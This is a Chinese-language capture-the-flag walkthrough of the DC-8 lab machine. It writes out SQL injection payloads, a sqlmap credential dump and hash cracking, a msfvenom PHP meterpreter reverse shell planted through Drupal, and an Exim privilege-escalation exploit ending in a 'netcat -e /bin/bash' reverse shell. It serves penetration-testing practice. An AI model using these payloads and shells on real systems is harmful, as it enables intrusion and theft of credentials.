DC: 8-Write-up

下载地址：点我

哔哩哔哩：点我

信息收集

• 确定网段，找到虚拟机的IP，扫端口和服务。

➜  ~ nmap -sn 192.168.116.1/24
Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-21 22:21 CST
Nmap scan report for 192.168.116.1
Host is up (0.00075s latency).
Nmap scan report for 192.168.116.135
Host is up (0.00038s latency).
Nmap done: 256 IP addresses (2 hosts up) scanned in 5.16 seconds
➜  ~ nmap -A -T4 192.168.116.135 -p-
Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-21 22:21 CST
Nmap scan report for 192.168.116.135
Host is up (0.0063s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
| ssh-hostkey:
|   2048 35:a7:e6:c4:a8:3c:63:1d:e1:c0:ca:a3:66:bc:88:bf (RSA)
|   256 ab:ef:9f:69:ac:ea:54:c6:8c:61:55:49:0a:e7:aa:d9 (ECDSA)
|_  256 7a:b2:c6:87:ec:93:76:d4:ea:59:4b:1b:c6:e8:73:f2 (ED25519)
80/tcp open  http    Apache httpd
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache
|_http-title: Welcome to DC-8 | DC-8
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.68 seconds
➜  ~

• IP为：192.168.116.135，发现开放了ssh和http服务，Drupal 7，nmap也扫出了robots.txt文件，信息有点多，http://192.168.116.135/robots.txt，php文件有下面几个：

Disallow: /cron.php
Disallow: /install.php
Disallow: /update.php
Disallow: /xmlrpc.php

• URL格式好像是路由的有下面几个：

Disallow: /admin/
Disallow: /comment/reply/
Disallow: /filter/tips/
Disallow: /node/add/
Disallow: /search/
Disallow: /user/register/
Disallow: /user/password/
Disallow: /user/login/
Disallow: /user/logout/

Disallow: /?q=admin/
Disallow: /?q=comment/reply/
Disallow: /?q=filter/tips/
Disallow: /?q=node/add/
Disallow: /?q=search/
Disallow: /?q=user/password/
Disallow: /?q=user/register/
Disallow: /?q=user/login/
Disallow: /?q=user/logout/

• Drupal 7.67, 2019-05-08 版本还比较新，http://192.168.116.135/CHANGELOG.txt，扫过没发现什么东西。

➜  ~ droopescan scan drupal -u 192.168.116.135
[+] Plugins found:
    ctools http://192.168.116.135/sites/all/modules/ctools/
        http://192.168.116.135/sites/all/modules/ctools/LICENSE.txt
        http://192.168.116.135/sites/all/modules/ctools/API.txt
    views http://192.168.116.135/sites/all/modules/views/
        http://192.168.116.135/sites/all/modules/views/README.txt
        http://192.168.116.135/sites/all/modules/views/LICENSE.txt
    webform http://192.168.116.135/sites/all/modules/webform/
        http://192.168.116.135/sites/all/modules/webform/LICENSE.txt
    ckeditor http://192.168.116.135/sites/all/modules/ckeditor/
        http://192.168.116.135/sites/all/modules/ckeditor/CHANGELOG.txt
        http://192.168.116.135/sites/all/modules/ckeditor/README.txt
        http://192.168.116.135/sites/all/modules/ckeditor/LICENSE.txt
    better_formats http://192.168.116.135/sites/all/modules/better_formats/
        http://192.168.116.135/sites/all/modules/better_formats/README.txt
        http://192.168.116.135/sites/all/modules/better_formats/LICENSE.txt
    image http://192.168.116.135/modules/image/
    profile http://192.168.116.135/modules/profile/
    php http://192.168.116.135/modules/php/

[+] Themes found:
    seven http://192.168.116.135/themes/seven/
    garland http://192.168.116.135/themes/garland/

[+] Possible version(s):
    7.67

[+] Possible interesting urls found:
    Default changelog file - http://192.168.116.135/CHANGELOG.txt
    Default admin - http://192.168.116.135/user/login

[+] Scan finished (0:00:42.200148 elapsed)
➜  ~

• 突然加一个单引号报错了，发现一个SQL注入，http://192.168.116.135/?nid=1%27

PDOException: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1: SELECT title FROM node WHERE nid = 1'; Array ( ) in mypages_init() (line 6 of /var/www/html/sites/all/modules/mypages/mypages.module).

漏洞利用

• 丢进sqlmap跑。

➜  ~ sqlmap -u "http://192.168.116.135/?nid=1" --batch
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.3.8#stable}
|_ -| . [)]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 00:07:13 /2019-09-22/

[00:07:13] [INFO] testing connection to the target URL
[00:07:13] [INFO] checking if the target is protected by some kind of WAF/IPS
[00:07:13] [INFO] testing if the target URL content is stable
[00:07:13] [WARNING] target URL content is not stable (i.e. content differs). sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison'
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] C
[00:07:13] [INFO] testing if GET parameter 'nid' is dynamic
[00:07:13] [WARNING] GET parameter 'nid' does not appear to be dynamic
[00:07:13] [INFO] heuristic (basic) test shows that GET parameter 'nid' might be injectable (possible DBMS: 'MySQL')
[00:07:14] [INFO] heuristic (XSS) test shows that GET parameter 'nid' might be vulnerable to cross-site scripting (XSS) attacks
[00:07:14] [INFO] testing for SQL injection on GET parameter 'nid'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[00:07:14] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[00:07:14] [WARNING] reflective value(s) found and filtering out
[00:07:14] [INFO] GET parameter 'nid' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="Status message")
[00:07:14] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[00:07:14] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[00:07:14] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[00:07:14] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[00:07:14] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[00:07:14] [WARNING] potential permission problems detected ('command denied')
[00:07:14] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[00:07:14] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[00:07:14] [INFO] GET parameter 'nid' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable
[00:07:14] [INFO] testing 'MySQL inline queries'
[00:07:14] [INFO] testing 'MySQL > 5.0.11 stacked queries (comment)'
[00:07:14] [WARNING] time-based comparison requires larger statistical model, please wait.............. (done)
[00:07:15] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[00:07:15] [INFO] testing 'MySQL > 5.0.11 stacked queries (query SLEEP - comment)'
[00:07:15] [INFO] testing 'MySQL > 5.0.11 stacked queries (query SLEEP)'
[00:07:15] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'
[00:07:15] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[00:07:15] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[00:07:25] [INFO] GET parameter 'nid' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[00:07:25] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[00:07:25] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[00:07:25] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[00:07:25] [INFO] target URL appears to have 1 column in query
[00:07:25] [INFO] GET parameter 'nid' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'nid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 47 HTTP(s) requests:
---
Parameter: nid (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: nid=1 AND 7434=7434

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: nid=1 AND (SELECT 5822 FROM(SELECT COUNT(*),CONCAT(0x716b767871,(SELECT (ELT(5822=5822,1))),0x7178717671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: nid=1 AND (SELECT 6066 FROM (SELECT(SLEEP(5)))jOuH)

    Type: UNION query
    Title: Generic UNION query (NULL) - 1 column
    Payload: nid=-9086 UNION ALL SELECT CONCAT(0x716b767871,0x635349446c7871725473696250696f6e57684163546277736a706a416479444c736e424d6669744e,0x7178717671)-- KIcF
---
[00:07:25] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.0
[00:07:25] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 23 times
[00:07:25] [INFO] fetched data logged to text files under '/home/kali-team/.sqlmap/output/192.168.116.135'

[*] ending @ 00:07:25 /2019-09-22/

• 找到邮箱和密码dump出来

➜  ~ sqlmap -u "http://192.168.116.135/?nid=1" --batch -D d7db -T users -C name,mail,pass --dump
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.3.8#stable}
|_ -| . [(]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 08:52:00 /2019-09-22/

[08:52:00] [INFO] resuming back-end DBMS 'mysql'
[08:52:00] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: nid (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: nid=1 AND 7434=7434

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: nid=1 AND (SELECT 5822 FROM(SELECT COUNT(*),CONCAT(0x716b767871,(SELECT (ELT(5822=5822,1))),0x7178717671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: nid=1 AND (SELECT 6066 FROM (SELECT(SLEEP(5)))jOuH)

    Type: UNION query
    Title: Generic UNION query (NULL) - 1 column
    Payload: nid=-9086 UNION ALL SELECT CONCAT(0x716b767871,0x635349446c7871725473696250696f6e57684163546277736a706a416479444c736e424d6669744e,0x7178717671)-- KIcF
---
[08:52:00] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.0
[08:52:00] [INFO] fetching entries of column(s) 'mail, name, pass' for table 'users' in database 'd7db'
[08:52:00] [INFO] used SQL query returns 3 entries
[08:52:00] [INFO] retrieved: '','',''
[08:52:00] [INFO] retrieved: 'dcau-user@outlook.com','admin','$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z'
[08:52:00] [INFO] retrieved: 'john@blahsdfsfd.org','john','$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF'
Database: d7db
Table: users
[2 entries]
+-------+-----------------------+---------------------------------------------------------+
| name  | mail                  | pass                                                    |
+-------+-----------------------+---------------------------------------------------------+
| admin | dcau-user@outlook.com | $S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z |
| john  | john@blahsdfsfd.org   | $S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF |
+-------+-----------------------+---------------------------------------------------------+

[08:52:00] [INFO] table 'd7db.users' dumped to CSV file '/home/kali-team/.sqlmap/output/192.168.116.135/dump/d7db/users.csv'
[08:52:00] [INFO] fetched data logged to text files under '/home/kali-team/.sqlmap/output/192.168.116.135'

[*] ending @ 08:52:00 /2019-09-22/

➜  ~

破解密码

• 不知道Hash是什么算法的可以用HashID测试一下，https://hashcat.net/wiki/doku.php?id=example_hashes，也可以在这搜索一下特征。当然是Drupal自写的算法。

➜  ~ cat hash.txt
$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z
$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF

➜  ~ hashid hash.txt
--File 'hash.txt'--
Analyzing '$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z'
[+] Drupal > v7.x
Analyzing '$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF'
[+] Drupal > v7.x
--End of file 'hash.txt'--%                                                                                            ➜  ~

• 用John破解发现有一个密码破解成功了，john:turtle

➜  ~ john hash.txt --show
john@blahsdfsfd.org:turtle

1 password hash cracked, 1 left
➜  ~

上传木马

• 刚刚在robots.txt找到的登录页面，http://192.168.116.135/?q=user/login/，进到后台修改配置项Contact Us的Form settings，把Text format 的选项改为PHP Code。
• 生成php的后门。

➜  ~ msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.116.1 LPORT=7788 -o shell.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 30656 bytes
Saved as: shell.php
➜  ~

• 把php后门复制到Confirmation message里，开启MSF监听端口，保存后到联系页面提交评论。

msf5 exploit(multi/handler) > show options 

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Payload options (php/meterpreter_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.116.1    yes       The listen address (an interface may be specified)
   LPORT  7788             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target

msf5 exploit(multi/handler) > run 

[*] Started reverse TCP handler on 192.168.116.1:7788
[*] Meterpreter session 3 opened (192.168.116.1:7788 -> 192.168.116.135:45166) at 2019-09-22 09:12:05 +0800

meterpreter >

提升权限

• 查找有SUID的文件，套路和前面的都一样。

meterpreter > shell
Process 1087 created.
Channel 0 created.
bash
python -c 'import pty;pty.spawn("/bin/bash")'
www-data@dc-8:/var/www/html$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/newgrp
/usr/sbin/exim4
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/bin/ping
/bin/su
/bin/umount
/bin/mount
www-data@dc-8:/var/www/html$

• 发现了一个/usr/sbin/exim4，在正常情况很少这种情况，所以出题人故意的。查看版本是：4.89

www-data@dc-8:/var/www/html$ exim4 --version
exim4 --version
Exim version 4.89 #2 built 14-Jun-2017 05:03:07
Copyright (c) University of Cambridge, 1995 - 2017
(c) The Exim Maintainers and contributors in ACKNOWLEDGMENTS file, 2007 - 2017
Berkeley DB: Berkeley DB 5.3.28: (September  9, 2013)
Support for: crypteq iconv() IPv6 GnuTLS move_frozen_messages DKIM DNSSEC Event OCSP PRDR SOCKS TCP_Fast_Open
Lookups (built-in): lsearch wildlsearch nwildlsearch iplsearch cdb dbm dbmjz dbmnz dnsdb dsearch nis nis0 passwd
Authenticators: cram_md5 plaintext
Routers: accept dnslookup ipliteral manualroute queryprogram redirect
Transports: appendfile/maildir/mailstore autoreply lmtp pipe smtp
Fixed never_users: 0
Configure owner: 0:0
Size of off_t: 8
Configuration file is /var/lib/exim4/config.autogenerated

• 提权exp：https://www.exploit-db.com/exploits/46996

➜  ~ searchsploit exim 4.8
------------------------------------------------------------------------------ ----------------------------------------
 Exploit Title                                                                |  Path
                                                                              | (/usr/share/exploitdb/)
------------------------------------------------------------------------------ ----------------------------------------
Exim 4.84-3 - Local Privilege Escalation                                      | exploits/linux/local/39535.sh
Exim 4.87 - 4.91 - Local Privilege Escalation                                 | exploits/linux/local/46996.sh
Exim 4.87 / 4.91 - Local Privilege Escalation (Metasploit)                    | exploits/linux/local/47307.rb
Exim 4.87 < 4.91 - (Local / Remote) Command Execution                         | exploits/linux/remote/46974.txt
Exim 4.89 - 'BDAT' Denial of Service                                          | exploits/multiple/dos/43184.txt
Exim < 4.86.2 - Local Privilege Escalation                                    | exploits/linux/local/39549.txt
Exim ESMTP 4.80 - glibc gethostbyname Denial of Service                       | exploits/linux/dos/35951.py
------------------------------------------------------------------------------ ----------------------------------------
Shellcodes: No Result
➜  ~

• 本地权限提升的有两个到4.91版本以下，一个是MSF的，还有一个是sh脚本的。MSF那个试了，不知道为什么利用不了。文档

msf5 exploit(linux/local/exim4_deliver_message_priv_esc) > show options 

Module options (exploit/linux/local/exim4_deliver_message_priv_esc):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXIMPORT  25               yes       The port exim is listening to
   SESSION   3                yes       The session to run this module on.

Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.116.1    yes       The listen address (an interface may be specified)
   LPORT  13371            yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Exim 4.87 - 4.91

msf5 exploit(linux/local/exim4_deliver_message_priv_esc) > run 

[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 192.168.116.1:13371
[*] Payload sent, wait a few seconds...
[-] Exploit aborted due to failure: unknown: Couldn't escalate privileges
[*] Exploit completed, but no session was created.
msf5 exploit(linux/local/exim4_deliver_message_priv_esc) >

• 知道为什么可以教我一下哦，接下来还是用sh版的吧。这里有一个坑，直接上传searchsploit会出现

bash: ./46996.sh: /bin/bash^M: bad interpreter: No such file or directory
www-data@dc-8:/tmp$ ./46996.sh
./46996.sh
bash: ./46996.sh: /bin/bash^M: bad interpreter: No such file or directory
www-data@dc-8:/tmp$ sed -i -e 's/\r$//' 46996.sh

• 上网查了是文件的格式不对，把结束符替换就可以了。

$ ./46996.sh -m netcat
./46996.sh -m netcat

raptor_exim_wiz - "The Return of the WIZard" LPE exploit
Copyright (c) 2019 Marco Ivaldi <raptor@0xdeadbeef.info>

Delivering netcat payload...
220 dc-8 ESMTP Exim 4.89 Sun, 22 Sep 2019 21:03:24 +1000
250 dc-8 Hello localhost [::1]
250 OK
250 Accepted
354 Enter message, ending with "." on a line by itself
250 OK id=1iBzeG-0000Ui-8O
221 dc-8 closing connection

Waiting 5 seconds...
localhost [127.0.0.1] 31337 (?) open
netcat -e /bin/bash 192.168.116.1 2333
netcat -e /bin/bash 192.168.116.1 2333

• 在本机用netcat监听端口2333，当虚拟机执行提权监本后出现open后输入netcat -e /bin/bash 192.168.116.1 2333，就能拿到Root权限了。

➜  ~ netcat -nlvp 2333
Connection from 192.168.116.135:33958
id
uid=0(root) gid=113(Debian-exim) groups=113(Debian-exim)

获取Flag

忘记了